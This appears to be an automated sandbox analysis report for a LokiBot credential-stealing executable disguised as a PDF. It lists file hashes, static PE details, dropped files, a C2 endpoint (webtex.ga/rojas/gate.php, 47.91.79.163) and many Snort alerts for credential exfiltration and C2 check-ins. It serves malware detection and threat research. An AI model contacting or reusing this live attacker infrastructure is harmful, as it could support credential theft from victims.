Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 168.61.161.212, 52.255.188.83, 92.122.144.200, 51.104.139.180, 40.88.32.150, 2.20.142.210, 2.20.142.209, 52.155.217.156, 20.54.26.129, 92.122.213.247, 92.122.213.194 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcoleus15.cloudapp.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, fs.microsoft.com, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, blobcollector.events.data.trafficmanager.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:02:24	API Interceptor	312x Sleep call for process: PI_Nov9071011998_ENTRUSTpdf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
47.91.79.163	AD_02207658190080.xlsx	Get hash	malicious	Browse	webtex.ga/rojas/gate.php
47.91.79.163	3aMqc1R0cU.exe	Get hash	malicious	Browse	webtex.ga/rojas/gate.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
webtex.ga	AD_02207658190080.xlsx	Get hash	malicious	Browse	47.91.79.163
webtex.ga	3aMqc1R0cU.exe	Get hash	malicious	Browse	47.91.79.163

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	AD_02207658190080.xlsx	Get hash	malicious	Browse	47.91.79.163
	Shipment Document BL,INV and packing list.jpg.exe	Get hash	malicious	Browse	161.117.47.123
	UqjZpY9ltr.doc	Get hash	malicious	Browse	47.244.28.71
	UqjZpY9ltr.doc	Get hash	malicious	Browse	47.244.28.71
	UqjZpY9ltr.doc	Get hash	malicious	Browse	47.244.28.71
	3aMqc1R0cU.exe	Get hash	malicious	Browse	47.91.79.163
	https://bit.ly/2URoZs9	Get hash	malicious	Browse	8.208.98.199
	http://findwfriends.net.ht	Get hash	malicious	Browse	8.208.98.199
	https://bit.ly/33btgvf	Get hash	malicious	Browse	8.208.98.199
	https://www.dropbox.com/s/5vgml9mqmjffp3n/Note%207V1N0UE.doc?dl=1	Get hash	malicious	Browse	47.244.28.71
	B3CcRRb6nV.doc	Get hash	malicious	Browse	47.244.28.71
	http://h5fmt.info/mHNeigecrL	Get hash	malicious	Browse	8.210.144.46
	Detailed GCIOC2V.doc	Get hash	malicious	Browse	47.244.28.71
	Shipment Document BL,INV And Packing List Attached.exe	Get hash	malicious	Browse	47.254.45.60
	https://bit.ly/33I4Nht	Get hash	malicious	Browse	47.254.170.17
	https://bit.ly/3kUgQ0H	Get hash	malicious	Browse	8.208.98.199
	JFCp0yRoUS1z.vbs	Get hash	malicious	Browse	47.241.19.44
	http://nity.midlidl.com/index	Get hash	malicious	Browse	8.208.98.199
	kj3D6ZRVe22Y.vbs	Get hash	malicious	Browse	47.241.19.44
	http://yjjv.midlidl.com/index	Get hash	malicious	Browse	8.208.98.199

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PI_Nov9071011998_ENTRUSTpdf.exe.log Download File
Process:	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	5.345637324625647
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4VE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKz5
MD5:	6C42AAF2F2FABAD2BAB70543AE48CEDB
SHA1:	8552031F83C078FE1C035191A32BA43261A63DA9
SHA-256:	51D07DD061EA9665DA070B95A4AC2AC17E20524E30BF6A0DA8381C2AF29CA967
SHA-512:	014E89857B811765EA7AA0B030AB04A2DA1957571608C4512EC7662F6A4DCE8B0409626624DABC96CBFF079E7F0F4A916E6F49C789E00B6E46AD37C36C806DCA
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck Download File
Process:	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
Process:	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe
File Type:	data
Category:	dropped
Size (bytes):	55246
Entropy (8bit):	0.6022480823964415
Encrypted:	false
SSDEEP:	3:/lbOllbOllbOllbOllbOllbOllbOllbOllbOllbOllbOllbOllbOllbOllbOllbZ:u
MD5:	FE84C1E9A3AF7C1FC9D94AA3D80A9DD0
SHA1:	9C5E0DC4BF30024D7ED73DF7244D69B101ED157F
SHA-256:	72B1E26249BC9E873F2273D5588F3257153747152EA4040FF1C5F143A5BC01B5
SHA-512:	B9EA5054C531A185B8CF70959815067BD2504CBA817E5A5B2FD2E122BBE90B6FDDBC84925BE6A91CBBDF7DF474FB78A2EC8DF3C632E67534E0D2FD1BA93B0E2A
Malicious:	false
Reputation:	low
Preview:	........................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user...................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.678064154183633
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	PI_Nov9071011998_ENTRUSTpdf.exe
File size:	359424
MD5:	2349d50a67c2ef85661ef2be6def2cc3
SHA1:	b0cfbb76140f37e483fa2ece9c790512e48f29d4
SHA256:	9e196418dece3402ea9627106e6e246d5186392f25f8ada694598168481fb0bf
SHA512:	1e6262dd441b0fb693099017110783f29dc0a51cbf3caf240d9e31d053c35ce780b1cca43b4aeb3ecf27da5f3ebbe67a6d0c2b2cb2022b2903e7e5d15131b27d
SSDEEP:	6144:iB5+r8OpllZciz0hFLXbfcruqroVjQghf3Hz5cM4lTwBB:iP+JPzC77PPjDvHz5n
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....y._..............0..r............... ........@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x459096
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5FC8791D [Thu Dec 3 05:35:25 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x59044	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5a000	0x58c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x5709c	0x57200	False	0.826760334469	data	7.69094003544	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x5a000	0x58c	0x600	False	0.41796875	data	4.02687174462	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5c000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x5a090	0x2fc	data
RT_MANIFEST	0x5a39c	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright
Assembly Version	2.0.0.0
InternalName	TM.exe
FileVersion	2.0.0.0
CompanyName	Microsoft
LegalTrademarks
Comments
ProductName	Pet Pamonha
ProductVersion	2.0.0.0
FileDescription	Pet Pamonha
OriginalFilename	TM.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/03/20-10:02:28.939498	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49709	80	192.168.2.3	47.91.79.163
12/03/20-10:02:28.939498	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49709	80	192.168.2.3	47.91.79.163
12/03/20-10:02:28.939498	TCP	2025381	ET TROJAN LokiBot Checkin	49709	80	192.168.2.3	47.91.79.163
12/03/20-10:02:28.939498	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49709	80	192.168.2.3	47.91.79.163
12/03/20-10:02:28.939498	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49709	80	192.168.2.3	47.91.79.163
12/03/20-10:02:29.293360	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49710	80	192.168.2.3	47.91.79.163
12/03/20-10:02:29.293360	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49710	80	192.168.2.3	47.91.79.163
12/03/20-10:02:29.293360	TCP	2025381	ET TROJAN LokiBot Checkin	49710	80	192.168.2.3	47.91.79.163
12/03/20-10:02:29.293360	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49710	80	192.168.2.3	47.91.79.163
12/03/20-10:02:29.293360	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49710	80	192.168.2.3	47.91.79.163
12/03/20-10:02:29.611013	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49711	80	192.168.2.3	47.91.79.163
12/03/20-10:02:29.611013	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49711	80	192.168.2.3	47.91.79.163
12/03/20-10:02:29.611013	TCP	2025381	ET TROJAN LokiBot Checkin	49711	80	192.168.2.3	47.91.79.163
12/03/20-10:02:29.611013	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49711	80	192.168.2.3	47.91.79.163
12/03/20-10:02:29.611013	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49711	80	192.168.2.3	47.91.79.163
12/03/20-10:02:29.858062	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49711	47.91.79.163	192.168.2.3
12/03/20-10:02:30.152512	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49712	80	192.168.2.3	47.91.79.163
12/03/20-10:02:30.152512	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49712	80	192.168.2.3	47.91.79.163
12/03/20-10:02:30.152512	TCP	2025381	ET TROJAN LokiBot Checkin	49712	80	192.168.2.3	47.91.79.163
12/03/20-10:02:30.152512	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49712	80	192.168.2.3	47.91.79.163
12/03/20-10:02:30.152512	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49712	80	192.168.2.3	47.91.79.163
12/03/20-10:02:30.214602	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49712	47.91.79.163	192.168.2.3
12/03/20-10:02:30.776445	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49713	80	192.168.2.3	47.91.79.163
12/03/20-10:02:30.776445	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49713	80	192.168.2.3	47.91.79.163
12/03/20-10:02:30.776445	TCP	2025381	ET TROJAN LokiBot Checkin	49713	80	192.168.2.3	47.91.79.163
12/03/20-10:02:30.776445	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49713	80	192.168.2.3	47.91.79.163
12/03/20-10:02:30.776445	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49713	80	192.168.2.3	47.91.79.163
12/03/20-10:02:30.840723	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49713	47.91.79.163	192.168.2.3
12/03/20-10:02:31.118511	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49714	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.118511	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49714	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.118511	TCP	2025381	ET TROJAN LokiBot Checkin	49714	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.118511	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49714	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.118511	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49714	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.264032	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49714	47.91.79.163	192.168.2.3
12/03/20-10:02:31.524698	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49715	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.524698	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49715	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.524698	TCP	2025381	ET TROJAN LokiBot Checkin	49715	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.524698	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49715	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.524698	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49715	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.584801	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49715	47.91.79.163	192.168.2.3
12/03/20-10:02:31.827447	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49716	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.827447	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49716	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.827447	TCP	2025381	ET TROJAN LokiBot Checkin	49716	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.827447	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49716	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.827447	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49716	80	192.168.2.3	47.91.79.163
12/03/20-10:02:31.881911	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49716	47.91.79.163	192.168.2.3
12/03/20-10:02:32.151701	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49717	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.151701	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49717	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.151701	TCP	2025381	ET TROJAN LokiBot Checkin	49717	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.151701	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49717	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.151701	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49717	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.212961	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49717	47.91.79.163	192.168.2.3
12/03/20-10:02:32.492297	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49718	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.492297	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49718	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.492297	TCP	2025381	ET TROJAN LokiBot Checkin	49718	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.492297	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49718	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.492297	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49718	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.556118	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49718	47.91.79.163	192.168.2.3
12/03/20-10:02:32.765128	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49719	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.765128	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49719	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.765128	TCP	2025381	ET TROJAN LokiBot Checkin	49719	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.765128	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49719	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.765128	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49719	80	192.168.2.3	47.91.79.163
12/03/20-10:02:32.824420	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49719	47.91.79.163	192.168.2.3
12/03/20-10:02:33.073392	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49720	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.073392	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49720	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.073392	TCP	2025381	ET TROJAN LokiBot Checkin	49720	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.073392	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49720	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.073392	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49720	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.145655	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49720	47.91.79.163	192.168.2.3
12/03/20-10:02:33.392093	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49721	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.392093	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49721	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.392093	TCP	2025381	ET TROJAN LokiBot Checkin	49721	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.392093	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49721	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.392093	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49721	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.455181	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49721	47.91.79.163	192.168.2.3
12/03/20-10:02:33.703087	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49722	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.703087	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49722	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.703087	TCP	2025381	ET TROJAN LokiBot Checkin	49722	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.703087	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49722	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.703087	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49722	80	192.168.2.3	47.91.79.163
12/03/20-10:02:33.764565	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49722	47.91.79.163	192.168.2.3
12/03/20-10:02:34.056226	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49723	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.056226	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49723	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.056226	TCP	2025381	ET TROJAN LokiBot Checkin	49723	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.056226	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49723	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.056226	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49723	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.116974	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49723	47.91.79.163	192.168.2.3
12/03/20-10:02:34.377230	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49724	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.377230	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49724	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.377230	TCP	2025381	ET TROJAN LokiBot Checkin	49724	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.377230	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49724	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.377230	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49724	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.437256	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49724	47.91.79.163	192.168.2.3
12/03/20-10:02:34.827050	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49725	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.827050	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49725	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.827050	TCP	2025381	ET TROJAN LokiBot Checkin	49725	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.827050	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49725	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.827050	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49725	80	192.168.2.3	47.91.79.163
12/03/20-10:02:34.971106	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49725	47.91.79.163	192.168.2.3
12/03/20-10:02:35.243073	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49726	80	192.168.2.3	47.91.79.163
12/03/20-10:02:35.243073	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49726	80	192.168.2.3	47.91.79.163
12/03/20-10:02:35.243073	TCP	2025381	ET TROJAN LokiBot Checkin	49726	80	192.168.2.3	47.91.79.163
12/03/20-10:02:35.243073	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49726	80	192.168.2.3	47.91.79.163
12/03/20-10:02:35.243073	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49726	80	192.168.2.3	47.91.79.163
12/03/20-10:02:35.402597	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49726	47.91.79.163	192.168.2.3
12/03/20-10:02:36.028626	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49727	80	192.168.2.3	47.91.79.163
12/03/20-10:02:36.028626	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49727	80	192.168.2.3	47.91.79.163
